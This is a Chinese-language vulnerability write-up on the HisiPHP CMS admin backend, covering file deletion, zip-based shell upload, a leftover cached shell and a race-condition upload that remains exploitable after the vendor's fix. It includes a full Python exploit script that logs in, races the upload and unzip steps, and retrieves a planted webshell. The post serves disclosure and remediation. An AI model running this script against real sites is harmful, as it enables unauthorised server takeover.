HisiPHP条件竞争分析复现
简介
之前的一段HisiPHP
代码我提交过四个漏洞,怎么说呢,可能触发的位置不一样
- 文件删除
- 文件上传(解压上传)
- 缓存
shell
(服务器异常)
- 文件上传(竞争上传)
令我没想到的是,官方还真的修复了,其实这漏洞是后台的
但怎么说呢,着cms
也只有后台啊
然后抽空又看了以下,基本修了,但是竞争上传还是可以搞一搞的
测试版本
旧版本代码
首先看看旧版本
两个控制其中存在基本一致得代码,Moudle
和Plugins
文件删除
代码如下,接受一个file
参数,如果这个参数的文件不是一个正常的压缩包,就是解压失败,会直接被删除,这就是任意文件删除的地方,这种情况两个控制器是一致得

下面还有一些删除的逻辑
文件上传
如果正常上传一个压缩包,其中的shell
文件会直接传到服务器上的
这里不在多说,主要是构造合理得压缩包,或者官方下载一个模块,安装即可
缓存shell
这个是属于Plugins
控制器得方法
为什么会存在缓存呢,是因为再解压完成后,由于,服务器得500
错误,导致程序中断,虽然不是合规得压缩文件,但也留在了服务器上
重点就是下面这行代码

我们跟进一下,这个方法,可以看到直接扫描目录,但是并没有判断这个目录是否存在,当目录不存在时,就会存在500
异常

条件竞争
还是要回到,Module
控制器,因为这里判断时是否存在目录,所以程序会继续执行删除功能

这可以看的出来接受一个上传的文件,如果这个文件名字可以获取到
是一个正常的压缩包,解压成功,但是当安装包不完整的时候,就存在了一个竞争关系,先解压,后删除
那文件名到底可不可以获取到呢,从这个逻辑来说肯定是的
猜测应该是将文件上传之后,把返回的文件名存在了一个表单里面
再点击导入,就会携带file
参数
事实也确实入此
所以之前为了交漏洞,还附带了一个脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162
| from bs4 import BeautifulSoup from requests_toolbelt import MultipartEncoder import threading import requests import json import hashlib import datetime import time
address = "http://192.168.31.106:8084" username = "admin" password = "admin123" session = requests.session()
def endtime(): print(" ") time.sleep(0.3) print("*] shutting down at %s" % datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S'))
def admin_login(): url = address + "/admin.php/system/publics/index.html" rsp = session.get(url) if rsp.status_code == 200: soup = BeautifulSoup(rsp.text, "html.parser") token = soup.find("input", {'name': '__token__'}).get("value") md5_ = hashlib.md5() md5_.update(password.encode("utf-8")) pwd = md5_.hexdigest() data = { "username": username, "password": pwd, "__token__": token } headers = { "Origin": address, "X-Requested-With": "XMLHttpRequest", "Content-Type": "application/x-www-form-urlencoded" } rsp1 = session.post(url, headers=headers, data=data) if rsp1.status_code == 200 and "登陆成功,页面跳转中" in str(rsp1.text): pass else: print("[-] Failed!请检查密码或重启浏览器!") else: print("[-] 目标网站无法访问!")
def get_file(): global file_dir global file_name url = address + "/admin.php/system/annex/upload/thumb/no/water/no/group/temp/driver/local.html" m = MultipartEncoder(fields={'filename': 'shengma.zip', 'file': ('shengma.zip', open('shengma.zip', 'rb'), 'application/x-zip-compressed') }) headers = { "Content-Type": m.content_type } rsp = session.post(url, headers=headers, data=m) if rsp.status_code == 200 and "文件上传成功" in str(rsp.text): text = rsp.text if text.startswith(u'\ufeff'): text = text.encode('utf8')[3:].decode('utf8') json_str = json.loads(text) file_name = json_str['data']['file'] num = file_name.find(".") file_dir = file_name[:num] else: pass else: print("[-] 文件上传失败!")
def upload_file(): global file_dir global file_name while True: url = address + "/admin.php/system/annex/upload/thumb/no/water/no/group/temp/driver/local.html" m = MultipartEncoder(fields={'filename': 'shengma.zip', 'file': ('shengma.zip', open('shengma.zip', 'rb'), 'application/x-zip-compressed') }) headers = { "Content-Type": m.content_type } rsp = session.post(url, headers=headers, data=m) if rsp.status_code == 200 and "文件上传成功" in str(rsp.text): text = rsp.text if text.startswith(u'\ufeff'): text = text.encode('utf8')[3:].decode('utf8') json_str = json.loads(text) file_name = json_str['data']['file'] num = file_name.find(".") file_dir = file_name[:num] continue else: continue continue else: print("[-] 文件上传失败!") continue
def unzip_file(): global file_dir global file_name unzip_url = address + "/admin.php/system/module/import.html" data = { "file": file_name } while True: rsp = session.post(unzip_url, data=data) if rsp.status_code == 200 and "安装包不完整" in str(rsp.text): continue else: print("[-] 解压失败!") continue
def lfi_file(): global file_dir global file_name lfi_url = address + "/" + file_dir + "/shengma.php" while True: rsp = session.get(lfi_url) if rsp.status_code == 200: shell_url = address + "/upload/temp/shell.php" rsp1 = session.get(shell_url) if rsp1.status_code == 200: print("[+] 成功获取shell!") print("[+] shell地址为:" + shell_url) print("[+] 密码为:a") break else: continue else: continue
if __name__ == "__main__": admin_login() get_file() t1 = threading.Thread(target=upload_file, args=()) t2 = threading.Thread(target=unzip_file, args=()) t1.setDaemon(True) t2.setDaemon(True) t1.start() t2.start() print("[*] 疯狂竞争中,请稍后...") lfi_file() endtime()
|
当然这个时候,竞争用的马,肯定是访问之后生成一个稳定得shell
才行
新版本代码
看一下新版本得修复
其实上面的三种方式依然可以用
比如
缓存shell
从下面的代码可以看到,从获取一个文件名,现在时直接在这个方法中上传

但是下面的getList
并未改变
跟下底层代码,也依然未判断目录是否存在

条件竞争
还是看看Module
控制器
代码出了是变成了在import方法上传外没啥太大变化
就是不能从前端的html中获取参数了而已
但是这种写法依然存在问题

可以看到他的move方法,并未传第二个参数,也就是说是ThinkPHP
框架自动生成的文件名
那生成规则是什么呢?就是rule方法的参数,文件的MD5
当我们一致传一个文件时,这个文件的MD5时固定的所以依然可被预测
导致竞争漏洞依然存在
修复
条件竞争
缓存shell
文件上传
- 解压后,对解压获取到的代码进行匹配过滤,在进行下一步操作(当然这种只要还存在上传,就是可能被绕过)